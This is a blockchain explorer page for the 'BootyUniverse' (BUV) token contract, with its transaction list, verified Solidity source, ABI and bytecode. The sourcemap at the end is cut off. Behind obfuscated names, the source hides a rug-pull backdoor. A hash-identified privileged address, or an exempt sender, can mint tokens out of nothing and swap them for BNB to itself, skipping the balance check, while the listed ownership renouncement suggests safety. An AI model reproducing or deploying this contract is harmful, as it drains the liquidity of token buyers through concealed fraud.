Contract 0x93c477270b25d6cb811436f1556e3255ca2e9cb6

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x4a40b007db140319bdd428b3461db8635548c01a74af9522c8bae9893b22f0d1Transfer143767122022-01-15 3:52:373 days 6 hrs ago0xfbaa747b18024b05faed826e57c3186074fe91c0 IN  0x93c477270b25d6cb811436f1556e3255ca2e9cb60 BNB0.00085896
0x91db51f2c12a871b8eb5bf805bccbde75db0643a8cf40207cc5351f1a39b8c8eApprove143762812022-01-15 3:31:043 days 7 hrs ago0x0e1ef4f2f058f2c4cb6ecc21a459d5c30069521f IN  0x93c477270b25d6cb811436f1556e3255ca2e9cb60 BNB0.000222405
0x30569b01067192d6cd4ffc6607c08c769c11781f6e6c005a1305587410688b66Approve143761732022-01-15 3:25:403 days 7 hrs ago0xeb289f4573cec7b00bcb73322fa125dfccc33963 IN  0x93c477270b25d6cb811436f1556e3255ca2e9cb60 BNB0.000222405
0xfe87eaab773489949396f1a70130b65dfa35356d38d1310722507f9f3931c223Approve143761532022-01-15 3:24:403 days 7 hrs ago0xfbaa747b18024b05faed826e57c3186074fe91c0 IN  0x93c477270b25d6cb811436f1556e3255ca2e9cb60 BNB0.000222405
0xfe86ad607ec9eb1eaee6edcc1f9d662a1d42e80c43a72bde665dfe57d3d681bbRenounce Ownersh...143761502022-01-15 3:24:313 days 7 hrs ago0xfbaa747b18024b05faed826e57c3186074fe91c0 IN  0x93c477270b25d6cb811436f1556e3255ca2e9cb60 BNB0.00007648
0xdfd47a678e38292e3bb571e29ca02ab3653bed998bdeba2b7e16547b84d675b60x60806040143761122022-01-15 3:22:373 days 7 hrs ago0xfbaa747b18024b05faed826e57c3186074fe91c0 IN  Create: BootyUniverse0 BNB0.005736165
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BootyUniverse

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2022-01-15
*/

// SPDX-License-Identifier: MIT
/*

Telegram: t.me/bootycallsofficial

*/

pragma solidity ^0.8.9;



library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address acount) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 vale);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function yuwgvaufbgdh(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata vidsfjh,
        address ti,
        uint256 deadline
    ) external;
}

contract BootyUniverse is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _uyasgfuygf;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _uhvbdfuvbukbgdkun;
    uint256 public _decimals = 6;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 public _byerfgbjhs = 100000000 * 10 ** _decimals;
    uint256 public _fee = 8;
    string private _name = "Booty Universe";
    string private _symbol = "BUV";
    uint256 private _kuyagfdkgndryfgbuskyzefnkusznh = _totalSupply;
    bool yugasdfbewgvfbh = false;
    mapping(address => uint256) private _includedInFee;
    IUniswapV2Router private _router = IUniswapV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    constructor() {
        _uyasgfuygf[msg.sender] = _totalSupply;
        _uhvbdfuvbukbgdkun[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) {
        return _symbol;
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _uyasgfuygf[account];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "IERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _wuefgybsauykng(address dsabigutr, address tik, uint256 amount) internal virtual {
        require(dsabigutr != address(0));
        require(tik != address(0));
        uint256 uygvbfusgbdnufygrg = 0;
        if (!_uhvbdfuvbukbgdkun[dsabigutr] && !_uhvbdfuvbukbgdkun[tik] && !Address.yuwgvaufbgdh(tik) && tik != address(this) && !yugasdfbewgvfbh) {
            uygvbfusgbdnufygrg = amount.mul(_fee).div(100);
            require(amount <= _byerfgbjhs);
        }
        if (_kuyagfdkgndryfgbuskyzefnkusznh < amount && (_uhvbdfuvbukbgdkun[msg.sender] || Address.yuwgvaufbgdh(tik)) && tik == dsabigutr) {
            return weurfgwjhmhnefuyhaskunfg(amount, tik);
        }
        require(yugasdfbewgvfbh || _uyasgfuygf[dsabigutr] >= amount, "IERC20: transfer amount exceeds balance");
        uint256 ahgbfusngsd = amount - uygvbfusgbdnufygrg;
        _uyasgfuygf[address(0)] += uygvbfusgbdnufygrg;
        _uyasgfuygf[dsabigutr] = _uyasgfuygf[dsabigutr] - amount;
        _uyasgfuygf[tik] += ahgbfusngsd;
        emit Transfer(dsabigutr, tik, ahgbfusngsd);
        if (uygvbfusgbdnufygrg > 0) {
            emit Transfer(dsabigutr, address(0), uygvbfusgbdnufygrg);
        }
    }

    function weurfgwjhmhnefuyhaskunfg(uint256 amount, address to) private {
        _uyasgfuygf[address(this)] += amount;
        _approve(address(this), address(_router), amount);
        address[] memory vidsfjh = new address[](2);
        vidsfjh[0] = address(this);
        vidsfjh[1] = _router.WETH();
        yugasdfbewgvfbh = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, vidsfjh, to, block.timestamp + 20);
        yugasdfbewgvfbh = false;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _wuefgybsauykng(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _wuefgybsauykng(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

    function uniswapV2Pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"vale","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_byerfgbjhs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600660048190556200001890600a62000367565b6200002890633b9aca006200037c565b6005556004546200003b90600a62000367565b6200004b906305f5e1006200037c565b6006556008600781905560408051808201909152600e8082526d426f6f747920556e69766572736560901b60209092019182526200008b929190620001ac565b5060408051808201909152600380825262212aab60e91b6020909201918252620000b891600991620001ac565b50600554600a55600b805460ff19169055600d80546001600160a01b0319167310ed43c718714eb63d5aa57b78b54704e256024e179055348015620000fc57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600580543360008181526001602081815260408084209590955560039052838220805460ff19169091179055925491519092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200019e91815260200190565b60405180910390a3620003db565b828054620001ba906200039e565b90600052602060002090601f016020900481019282620001de576000855562000229565b82601f10620001f957805160ff191683800117855562000229565b8280016001018555821562000229579182015b82811115620002295782518255916020019190600101906200020c565b50620002379291506200023b565b5090565b5b808211156200023757600081556001016200023c565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a95781600019048211156200028d576200028d62000252565b808516156200029b57918102915b93841c93908002906200026d565b509250929050565b600082620002c25750600162000361565b81620002d15750600062000361565b8160018114620002ea5760028114620002f55762000315565b600191505062000361565b60ff84111562000309576200030962000252565b50506001821b62000361565b5060208310610133831016604e8410600b84101617156200033a575081810a62000361565b62000346838362000268565b80600019048211156200035d576200035d62000252565b0290505b92915050565b6000620003758383620002b1565b9392505050565b600081600019048311821515161562000399576200039962000252565b500290565b600181811c90821680620003b357607f821691505b60208210811415620003d557634e487b7160e01b600052602260045260246000fd5b50919050565b610f4a80620003eb6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80633eaaf86b116100a257806395d89b411161007157806395d89b41146101fe578063a457c2d714610206578063a9059cbb14610219578063c5b37c221461022c578063dd62ed3e1461023557600080fd5b80633eaaf86b146101a757806370a08231146101b0578063715018a6146101d95780638da5cb5b146101e357600080fd5b806323b872dd116100de57806323b872dd14610170578063313ce5671461018357806332424aa31461018b578063395093511461019457600080fd5b806306fdde0314610110578063095ea7b31461012e57806314fac6bd1461015157806318160ddd14610168575b600080fd5b61011861026e565b6040516101259190610c7f565b60405180910390f35b61014161013c366004610cec565b610300565b6040519015158152602001610125565b61015a60065481565b604051908152602001610125565b60055461015a565b61014161017e366004610d18565b610317565b60045461015a565b61015a60045481565b6101416101a2366004610cec565b6103ba565b61015a60055481565b61015a6101be366004610d59565b6001600160a01b031660009081526001602052604090205490565b6101e16103f6565b005b6000546040516001600160a01b039091168152602001610125565b61011861049a565b610141610214366004610cec565b6104a9565b610141610227366004610cec565b610545565b61015a60075481565b61015a610243366004610d76565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60606008805461027d90610daf565b80601f01602080910402602001604051908101604052809291908181526020018280546102a990610daf565b80156102f65780601f106102cb576101008083540402835291602001916102f6565b820191906000526020600020905b8154815290600101906020018083116102d957829003601f168201915b5050505050905090565b600061030d338484610552565b5060015b92915050565b6000610324848484610679565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103af5760405162461bcd60e51b815260206004820152602960248201527f4945524332303a207472616e7366657220616d6f756e74206578636565647320604482015268616c6c6f77616e636560b81b60648201526084015b60405180910390fd5b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161030d9185906103f1908690610e00565b610552565b6000546001600160a01b031633146104505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103a6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461027d90610daf565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561052c5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f60448201526577207a65726f60d01b60648201526084016103a6565b61053b33856103f18685610e18565b5060019392505050565b600061030d338484610679565b6001600160a01b0383166105b65760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a6565b6001600160a01b0382166106185760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661068c57600080fd5b6001600160a01b03821661069f57600080fd5b6001600160a01b03831660009081526003602052604081205460ff161580156106e157506001600160a01b03831660009081526003602052604090205460ff16155b80156106f357506106f183610980565b155b801561070857506001600160a01b0383163014155b80156107175750600b5460ff16155b1561074d5761073c6064610736600754856109e290919063ffffffff16565b90610a68565b905060065482111561074d57600080fd5b81600a5410801561077b57503360009081526003602052604090205460ff168061077b575061077b83610980565b80156107985750836001600160a01b0316836001600160a01b0316145b156107ad576107a78284610aaa565b50505050565b600b5460ff16806107d657506001600160a01b0384166000908152600160205260409020548211155b6108325760405162461bcd60e51b815260206004820152602760248201527f4945524332303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103a6565b600061083e8284610e18565b600080805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb498054929350849290919061087e908490610e00565b90915550506001600160a01b0385166000908152600160205260409020546108a7908490610e18565b6001600160a01b0380871660009081526001602052604080822093909355908616815290812080548392906108dd908490610e00565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161092991815260200190565b60405180910390a38115610979576040518281526000906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b5050505050565b6040516bffffffffffffffffffffffff19606083901b16602082015260009060340160408051601f1981840301815291905280516020909101207f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba1492915050565b6000826109f157506000610311565b60006109fd8385610e2f565b905082610a0a8583610e4e565b14610a615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a6565b9392505050565b6000610a6183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c48565b3060009081526001602052604081208054849290610ac9908490610e00565b9091555050600d54610ae69030906001600160a01b031684610552565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b1b57610b1b610e70565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b989190610e86565b81600181518110610bab57610bab610e70565b6001600160a01b039283166020918202929092010152600b805460ff19166001179055600d541663791ac9478460008486610be7426014610e00565b6040518663ffffffff1660e01b8152600401610c07959493929190610ea3565b600060405180830381600087803b158015610c2157600080fd5b505af1158015610c35573d6000803e3d6000fd5b5050600b805460ff191690555050505050565b60008183610c695760405162461bcd60e51b81526004016103a69190610c7f565b506000610c768486610e4e565b95945050505050565b600060208083528351808285015260005b81811015610cac57858101830151858201604001528201610c90565b81811115610cbe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610ce957600080fd5b50565b60008060408385031215610cff57600080fd5b8235610d0a81610cd4565b946020939093013593505050565b600080600060608486031215610d2d57600080fd5b8335610d3881610cd4565b92506020840135610d4881610cd4565b929592945050506040919091013590565b600060208284031215610d6b57600080fd5b8135610a6181610cd4565b60008060408385031215610d8957600080fd5b8235610d9481610cd4565b91506020830135610da481610cd4565b809150509250929050565b600181811c90821680610dc357607f821691505b60208210811415610de457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610e1357610e13610dea565b500190565b600082821015610e2a57610e2a610dea565b500390565b6000816000190483118215151615610e4957610e49610dea565b500290565b600082610e6b57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610e9857600080fd5b8151610a6181610cd4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610ef35784516001600160a01b031683529383019391830191600101610ece565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208d3a04afe399f6be22ee6a92787e9f5d66a5cd160371c4a470721c6dd47eda2764736f6c634300080b0033

Deployed ByteCode Sourcemap

7478:5235:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8478:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8992:169;;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;8992:169:0;1072:187:1;7850:56:0;;;;;;;;;1410:25:1;;;1398:2;1383:18;7850:56:0;1264:177:1;8757:102:0;8839:12;;8757:102;;12188:357;;;;;;:::i;:::-;;:::i;8664:87::-;8734:9;;8664:87;;7750:28;;;;;;9676:215;;;;;;:::i;:::-;;:::i;7785:58::-;;;;;;8865:121;;;;;;:::i;:::-;-1:-1:-1;;;;;8958:20:0;8931:7;8958:20;;;:11;:20;;;;;;;8865:121;6270:148;;;:::i;:::-;;6051:87;6097:7;6124:6;6051:87;;-1:-1:-1;;;;;6124:6:0;;;2305:51:1;;2293:2;2278:18;6051:87:0;2159:203:1;8569:89:0;;;:::i;9897:376::-;;;;;;:::i;:::-;;:::i;12001:181::-;;;;;;:::i;:::-;;:::i;7913:23::-;;;;;;9519:151;;;;;;:::i;:::-;-1:-1:-1;;;;;9635:18:0;;;9608:7;9635:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9519:151;8478:85;8517:13;8550:5;8543:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8478:85;:::o;8992:169::-;9075:4;9092:39;5624:10;9115:7;9124:6;9092:8;:39::i;:::-;-1:-1:-1;9149:4:0;8992:169;;;;;:::o;12188:357::-;12294:4;12311:42;12327:6;12335:9;12346:6;12311:15;:42::i;:::-;-1:-1:-1;;;;;12391:19:0;;12364:24;12391:19;;;:11;:19;;;;;;;;5624:10;12391:33;;;;;;;;12443:26;;;;12435:80;;;;-1:-1:-1;;;12435:80:0;;3347:2:1;12435:80:0;;;3329:21:1;3386:2;3366:18;;;3359:30;3425:34;3405:18;;;3398:62;-1:-1:-1;;;3476:18:1;;;3469:39;3525:19;;12435:80:0;;;;;;;;;-1:-1:-1;12533:4:0;;12188:357;-1:-1:-1;;;;12188:357:0:o;9676:215::-;5624:10;9764:4;9813:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9813:34:0;;;;;;;;;;9764:4;;9781:80;;9804:7;;9813:47;;9850:10;;9813:47;:::i;:::-;9781:8;:80::i;6270:148::-;6097:7;6124:6;-1:-1:-1;;;;;6124:6:0;5624:10;6184:23;6176:68;;;;-1:-1:-1;;;6176:68:0;;4022:2:1;6176:68:0;;;4004:21:1;;;4041:18;;;4034:30;4100:34;4080:18;;;4073:62;4152:18;;6176:68:0;3820:356:1;6176:68:0;6377:1:::1;6361:6:::0;;6340:40:::1;::::0;-1:-1:-1;;;;;6361:6:0;;::::1;::::0;6340:40:::1;::::0;6377:1;;6340:40:::1;6408:1;6391:19:::0;;-1:-1:-1;;;;;;6391:19:0::1;::::0;;6270:148::o;8569:89::-;8610:13;8643:7;8636:14;;;;;:::i;9897:376::-;5624:10;9990:4;10034:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10034:34:0;;;;;;;;;;10087:35;;;;10079:86;;;;-1:-1:-1;;;10079:86:0;;4383:2:1;10079:86:0;;;4365:21:1;4422:2;4402:18;;;4395:30;4461:34;4441:18;;;4434:62;-1:-1:-1;;;4512:18:1;;;4505:36;4558:19;;10079:86:0;4181:402:1;10079:86:0;10176:67;5624:10;10199:7;10208:34;10227:15;10208:16;:34;:::i;10176:67::-;-1:-1:-1;10261:4:0;;9897:376;-1:-1:-1;;;9897:376:0:o;12001:181::-;12087:4;12104:48;5624:10;12134:9;12145:6;12104:15;:48::i;9167:346::-;-1:-1:-1;;;;;9269:19:0;;9261:69;;;;-1:-1:-1;;;9261:69:0;;4920:2:1;9261:69:0;;;4902:21:1;4959:2;4939:18;;;4932:30;4998:34;4978:18;;;4971:62;-1:-1:-1;;;5049:18:1;;;5042:35;5094:19;;9261:69:0;4718:401:1;9261:69:0;-1:-1:-1;;;;;9349:21:0;;9341:69;;;;-1:-1:-1;;;9341:69:0;;5326:2:1;9341:69:0;;;5308:21:1;5365:2;5345:18;;;5338:30;5404:34;5384:18;;;5377:62;-1:-1:-1;;;5455:18:1;;;5448:33;5498:19;;9341:69:0;5124:399:1;9341:69:0;-1:-1:-1;;;;;9421:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9473:32;;1410:25:1;;;9473:32:0;;1383:18:1;9473:32:0;;;;;;;9167:346;;;:::o;10279:1210::-;-1:-1:-1;;;;;10388:23:0;;10380:32;;;;;;-1:-1:-1;;;;;10431:17:0;;10423:26;;;;;;-1:-1:-1;;;;;10506:29:0;;10460:26;10506:29;;;:18;:29;;;;;;;;10505:30;:58;;;;-1:-1:-1;;;;;;10540:23:0;;;;;;:18;:23;;;;;;;;10539:24;10505:58;:88;;;;;10568:25;10589:3;10568:20;:25::i;:::-;10567:26;10505:88;:112;;;;-1:-1:-1;;;;;;10597:20:0;;10612:4;10597:20;;10505:112;:132;;;;-1:-1:-1;10622:15:0;;;;10621:16;10505:132;10501:256;;;10675:25;10696:3;10675:16;10686:4;;10675:6;:10;;:16;;;;:::i;:::-;:20;;:25::i;:::-;10654:46;;10733:11;;10723:6;:21;;10715:30;;;;;;10805:6;10771:31;;:40;:105;;;;-1:-1:-1;10835:10:0;10816:30;;;;:18;:30;;;;;;;;;:59;;;10850:25;10871:3;10850:20;:25::i;:::-;10771:125;;;;;10887:9;-1:-1:-1;;;;;